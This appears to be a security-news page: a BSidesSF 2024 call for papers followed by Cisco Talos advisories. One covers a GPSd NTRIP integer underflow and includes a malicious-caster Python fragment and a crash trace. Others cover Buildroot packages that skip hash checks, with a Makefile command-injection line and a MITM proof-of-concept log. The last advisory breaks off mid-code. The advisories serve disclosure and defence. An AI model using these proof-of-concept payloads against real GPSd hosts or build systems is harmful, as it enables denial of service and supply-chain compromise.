BSidesSF is soliciting submissions for presentations and panels for BSidesSF 2024 in San Francisco on May 4 and 5 2024.

    hi folks,We are now accepting <https://pretalx.com/bsidessf-2024/> submissions forpresentations and panels for BSidesSF 2024 in San Francisco on May 4, 52024.  BSidesSF <https://www.bsidessf.org/> is a non-profit organizationdesigned to advance the body of Information Security knowledge, byproviding an annual, open forum for discussion and debate for securitypractitioners. We produce a conference that is a source of education,collaboration, and continued conversation for information technologists.The technical and academic presentations at BSidesSF are given in thespirit of peer review and advanced knowledge dissemination. This allows thefield of Information Security to grow in breadth and depth, and continue inits pursuit of highly advanced, scientifically based knowledge.Please help us spread the word through your community and come share yourideas with industry peers.ThanksProgram TeamBSidesSF 2024

BSides SF 2024 Call For Papers

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer overflow vulnerability exists in the NTRIP Stream Parsing functionality of GPSd 3.25.1~dev. A specially crafted network packet can lead to memory corruption. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

GPSd 3.25.1~dev

**PRODUCT URLS**

GPSd - https://gpsd.gitlab.io/gpsd/

**CVSSv3 SCORE**

5.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

GPSd is a daemon used for monitoring, collecting and reporting GPS information to clients. In a typical configuration, the GPS data are provided by a serial device connected to the host machine. However, GPSd also supports aggregating GPS data from network sources. It is extensively used in Android as well as embedded systems such as drones, robot submarines, driverless cars, marine navigation and military systems.

GPSd can act as a client that gets GPS information from the network using the NTRIP protocol. As specified in the NTRIP documentation, the NTRIP client does an HTTP request to the NTRIP caster (as per NTRIP documentation) expecting a source table as a response. The source table defines a list of records describing the data provided:

    SOURCETABLE 200 OK
    Content-Type: text/plain
    Content-Length: 6999 
    STR;FFMJ2;Frankfurt;RTCM 2.1;1(1),3(19),16(59);0;GPS;GREF;DEU;50.12;8.68;0;1;GPSNet V2.10;none;N;N;560;Demo 
    ENDSOURCETABLE
    

In the example above, a stream record is defined under the FFMJ2 path, where the NTRIP client is expected to perform a standard HTTP request to get specific GPS data.

GPSd, acting as an NTRIP client, uses the following code to parse the response from the caster.

    #define NTRIP_BR                "\r\n"
    
    int ntrip_stream_get_parse(struct gps_device_t *device)
    {
    	    ...
        while (1) {
            lexer_getline(lexer);                                   [1]
    		          ...
            if ('\0' == *lexer->outbuffer) {
                // done, never got end of headers.
                break;
            }
    		
            if (0 == strncmp(obuf, NTRIP_BR, sizeof(NTRIP_BR))) {   [2]
                // done
                break;
            }
        }
        ...
    } The code performs a loop, getting one line from the response until there is a NULL byte or the delimiter `\r\n` is found at (2), denoting the main body of the response. To get one line, the `lexer_getline()` is used at [1] above.
    
    static void lexer_getline(struct gps_lexer_t *lexer)
    {
    	unsigned i;
    	
        for (i = 0; i < sizeof(lexer->outbuffer) - 2; i++) {
            unsigned char u = *lexer->inbufptr++;
    
            lexer->outbuffer[i] = u;
            lexer->inbuflen--;                                   [3]
    
            if ('\0' == u) {
                // found NUL
                break;
            }
            if ('\n' == u) {
                // found return
                i++;
                break;
            }
    
            if (0 == lexer->inbuflen) {                          [4]
                // nothing left to read,  ending not found
                i++;
                break;
            }
        }
    }
    

In lexer_getline(), the code parses a line from one character at a time, looking for either a NULL byte or the \n character. In each iteration, the lexer->inbuflen variable is decremented at \[3\]. At \[4\], when the lexer->inbuflen is 0, the loop exits, denoting that there are no other characters to parse in that line, assuming no NULL bytes or \n characters are found in the line.

Recall however that the code continues to execute in the outer loop, searching for the the \r\n characters at \[2\]. If the characters are not found, the loop continues, executing lexer_getline() once again. Then at \[3\], the lexer->inbuflen is decremented once again, leading to an integer underflow.

Later, since the lexer->inbuflen is now 0xffffffffffffffff, the code believes there are leftover characters in the buffer and attempts to do a memmove() using lexer->inbuflen as the size argument. This could lead to memory corruption.

    ...
    if (0 == lexer->inbuflen) {
    	packet_reset(lexer);
    } else {
    	// The "leftover" is the start of the first chunk.
    	if (lexer->inbufptr != lexer->inbuffer) {
    		// Shift inbufptr to the start.  Yes, a bit brutal.
    		memmove(lexer->inbuffer, lexer->inbufptr, lexer->inbuflen);       [5]
    		lexer->inbufptr = lexer->inbuffer;
    	}
    }
    

**Crash Information**

    ==470012==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x55e609056090 in __asan_memmove (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    #1 0x55e6091b8631 in ntrip_stream_get_parse /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:791:13
    #2 0x55e6091baf02 in ntrip_open /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/net_ntrip.c:1124:15
    #3 0x55e6091b0c6d in gpsd_multipoll /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/libgpsd_core.c:1978:19
    #4 0x55e60909b0d6 in main /home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:2855:29
    #5 0x7f3ab3269d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7f3ab3269e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55e608fbb8a4 in _start (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x878a4) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497)
    
    0x55e609da436a is located 29450 bytes inside of global variable 'devices' defined in '/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1/gpsd/gpsd.c:315' (0x55e609d9d060) of size 730512
    SUMMARY: AddressSanitizer: negative-size-param (/home/dtatsis/gpsd_fuzz/gpsd/gpsd-3.25.1.asan/gpsd/gpsd+0x122090) (BuildId: 80383c29e763009d8a7ae0dca6977ebdc5c8b497) in __asan_memmove
    

**Exploit Proof of Concept**

As a PoC, we act as a very simple NTRIP caster, functionally the same as an HTTP server. On a GET request on the root we send a source table with one record, indicating that we provide NTRIP stream data under the TEST path. When GPSd does a request on this specific path, we send a standard HTTP response that is not properly terminated as GPSd expects, resulting in a crash.

        r = s.recv(128)
        print(f"[+] Got request '{r[:16]}', ...")
    
        if len(r) == 0:
            return
    
        if r.startswith(b"GET / HTTP/1.1"):
            print("[+] Sending NTRIP sourcetable")
    
            s.sendall(b"Content-Type: gnss/sourcetable\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"SOURCETABLE\r\n")
            s.sendall(b"\r\n")
            s.sendall(b"STR;TEST;City;CMR+;\r\n")
            s.sendall(b"ENDSOURCETABLE\r\n")
    
        elif r.startswith(b"GET /TEST HTTP/1.1"):
            print("[+] Got stream data request ...")
    
            s.sendall(b"HTTP/1.1 200 OK\r\n")
    

**TIMELINE**

2023-11-22 - Initial Vendor Contact  
2023-11-23 - Vendor Disclosure  
2023-11-29 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Dimitrios Tatsis of Cisco Talos.

CVE-2023-43628: TALOS-2023-1860 || Cisco Talos Intelligence Group

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.This vulnerability is related to the `mxsldr` package.

**SUMMARY**

Multiple data integrity vulnerabilities exist in the package hash checking functionality of Buildroot 2023.08.1 and Buildroot dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from, and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.

In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error, unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file, and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 1. Indeed, we identified 5 packages that miss a .hash file:

*   two of them (aufs and aufs-util) also specify a _SITE with an http:// schema, meaning that a man-in-the-middle attacker could supply any source package to Buildroot.
*   the remaining three packages (riscv64-elf-toolchain, versal-firmware and mxsldr) specify an https:// schema. However, because the default BR2_BACKUP_SITE is set to http://sources.buildroot.net (note the http:// schema), a man-in-the-middle attacker could supply any source package in this case too. To force Buildroot to use the fallback URL, it’s enough to drop HTTPS requests to the primary site (which is easy to do when we assume a MITM position). This will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri.

Also note, while a warning is printed for the check at \[6\], this can be very easily overlooked given the verbosity of the output, especially if we consider it may run in a CI (Continuous Integration) pipeline.

Because packages can ship patch files or Makefiles, by supplying a compromised source package an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.

For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

Below all the affected packages are listed separately.

**CVE-2023-45838 - aufs**

aufs fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45839 - aufs-util**

aufs-util fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45840 - riscv64-elf-toolchain**

riscv64-elf-toolchain fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45841 - versal-firmware**

versal-firmware fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45842 - mxsldr**

mxsldr fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to git.denx.de on port 443, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    linux-6.5.6.tar.xz: OK (sha256: 78e36d4214547051c24df2140f4ce09428d6c515ad9a71b38b28e8094a95d2f6)
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    >>> host-mxsldr 2793a657ab7a22487d21c1b020957806f8ae8383 Downloading
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 5 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 2 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' 'http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz'
    --2023-10-11 13:48:21--  http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 104.26.1.37, 172.67.72.56
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output'
    
    /tmp/builddir/build/.mxsldr-2793a657ab7a2248     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 13:48:21 (27.1 MB/s) - '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' saved [160]
    
    WARNING: no hash file for mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    libusb-1.0.26.tar.bz2: OK (sha256: 12ce7a61fc9854d1d2a1ffe095f7b5fac19ddba095c259e6067a46500381b5a5)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-45842: TALOS-2023-1844 || Cisco Talos Intelligence Group

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**SUMMARY**

A data integrity vulnerability exists in the BR\_NO\_CHECK\_HASH\_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1  
Buildroot dev commit 622698d7847

**PRODUCT URLS**

Buildroot - https://www.buildroot.org/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-494 - Download of Code Without Integrity Check

**DETAILS**

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.  
In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
